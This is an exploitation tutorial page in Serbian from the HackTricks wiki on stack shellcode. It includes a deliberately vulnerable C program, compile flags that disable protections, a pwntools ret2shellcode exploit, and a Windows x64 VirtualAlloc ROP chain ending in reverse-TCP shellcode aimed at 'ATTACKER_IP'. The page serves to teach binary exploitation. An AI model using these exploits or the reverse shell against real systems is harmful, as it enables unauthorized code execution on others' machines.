# Stack Shellcode {{#include ../../../banners/hacktricks-training.md}} ## Osnovne informacije **Stack shellcode** je tehnika koja se koristi u **binary exploitation**, gde napadač upisuje shellcode na stack ranjivog programa i zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju tog shellcode-a, što dovodi do njegovog izvršavanja. Ovo je klasična metoda koja se koristi za sticanje neautorizovanog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku je razrada procesa, uključujući jednostavan C primer i kako možete napisati odgovarajući exploit koristeći Python sa **pwntools**. ### C primer: Ranjiv program Počnimo sa jednostavnim primerom ranjivog C programa: ```c #include #include void vulnerable_function() { char buffer[64]; gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { vulnerable_function(); printf("Returned safely\n"); return 0; } ``` Ovaj program je ranjiv na buffer overflow zbog upotrebe funkcije `gets()`. ### Compilation Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Onemogućava stack protection. - `-z execstack`: Čini stack executable, što je neophodno za izvršavanje shellcode smeštenog na stack-u. - `-no-pie`: Onemogućava Position Independent Executable, što olakšava predviđanje memory address gde će naš shellcode biti lociran. - `-m32`: Kompajlira program kao 32-bit executable, često se koristi radi jednostavnosti u exploit development-u. ### Python Exploit using Pwntools Evo kako možete napisati exploit u Pythonu koristeći **pwntools** da izvršite **ret2shellcode** attack: ```python from pwn import * # Set up the process and context binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path context.arch = 'i386' # Specify the architecture # Generate the shellcode shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell # Find the offset to EIP offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash # Prepare the payload # The NOP slide helps to ensure that the execution flow hits the shellcode. nop_slide = asm('nop') * (offset - len(shellcode)) payload = nop_slide + shellcode payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide # Send the payload p.sendline(payload) p.interactive() ``` Ovaj skript konstruše payload koji se sastoji od **NOP slide**, **shellcode**, i zatim prepisuje **EIP** adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši. The **NOP slide** (`asm('nop')`) se koristi da poveća šansu da će izvršavanje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Podesite argument `p32()` na početnu adresu vašeg buffera plus offset da biste sleteli u NOP slide. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) Na modernim Windows sistemima stack nije izvršan (DEP/NX). Čest način da se i dalje izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz module Import Address Table (IAT) da bi region stacka postao izvršan, i zatim se vraća u shellcode dodat odmah posle chain-a. Ključne tačke (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) - RCX = lpAddress → izaberite adresu u trenutnom stacku (npr. RSP) tako da novoalokirani RWX region preklapa vaš payload - RDX = dwSize → dovoljno veliki za vaš chain + shellcode (npr. 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. Minimalna strategija: 1) Leak a module base (npr. via a format-string, object pointer, itd.) da biste izračunali apsolutne adrese gadget-a i IAT pod ASLR-om. 2) Pronađite gadgets za učitavanje RCX/RDX/R8/R9 (pop ili mov/xor-based sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktne pop r8/r9, koristite arithmetic gadgets da sintetizujete konstante (npr. set r8=0 i ponavljano dodajte r9=0x40 četrdeset puta da biste došli do 0x1000). 3) Postavite stage-2 shellcode neposredno posle chain-a. Primer rasporeda (konceptualno): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) POP_R9_RET; 0x40 # R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic POP_R8_RET; 0x1000 # RCX = &stack (lpAddress) LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg # RDX = size (dwSize) POP_RDX_RET; 0x1000 # Call VirtualAlloc via the IAT [IAT_VirtualAlloc] # New RWX memory at RCX — execution continues at the next stack qword JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` Sa ograničenim gadget setom, možete indirektno konstruisati vrednosti registara, na primer: - mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavlja r9 iz rbx, postavlja r8 na 0 i kompenzuje stack pomoću junk qword. - xor rbx, rsp; ret → inicijalizuje rbx sa trenutnim stack pointer-om. - push rbx; pop rax; mov rcx, rax; ret → prebacuje vrednost izvedenu iz RSP u RCX. Pwntools skica (uz poznatu bazu i gadgets): ```python from pwn import * base = 0x7ff6693b0000 IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing rop = b'' # r9 = 0x40 rop += p64(base+POP_RBX_RET) + p64(0x40) rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' # rcx = rsp rop += p64(base+POP_RBX_RET) + p64(0) rop += p64(base+XOR_RBX_RSP_RET) rop += p64(base+PUSH_RBX_POP_RAX_RET) rop += p64(base+MOV_RCX_RAX_RET) # r8 = 0x1000 via arithmetic if no pop r8 for _ in range(0x1000//0x40): rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET) # rdx = 0x1000 (use any available gadget) rop += p64(base+POP_RDX_RET) + p64(0x1000) # call VirtualAlloc and land in shellcode rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` Saveti: - VirtualProtect radi slično ako je poželjnije da postojeći buffer postane RX; redosled parametara je drugačiji. - Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na tu novu regiju umesto ponovnog korišćenja stack-a. - Uvek uzimajte u obzir gadgets koji podešavaju RSP (npr. add rsp, 8; ret) tako što ćete ubaciti junk qwords. - [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **bi trebalo da bude onemogućen** da bi adresa bila pouzdana preko izvršenja, inače adresa na kojoj će funkcija biti smeštena neće uvek biti ista i moraćete da koristite neki leak da biste utvrdili gde je win function učitana. - [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe bi trebalo da budu onemogućeni, inače kompromitovana EIP return adresa nikada neće biti iskorišćena. - [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršna. ## Ostali primeri i reference - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - 64bit, ASLR sa stack address leak, write shellcode i jump na njega - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - 32 bit, ASLR sa stack leak, write shellcode i jump na njega - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - 32 bit, ASLR sa stack leak, poređenje da bi se sprečio poziv exit(), overwrite varijable nekom vrednošću, pa write shellcode i jump na njega - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, no ASLR, ROP gadget za učiniti stack izvršnim i skok na shellcode u stack-u ## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) {{#include ../../../banners/hacktricks-training.md}}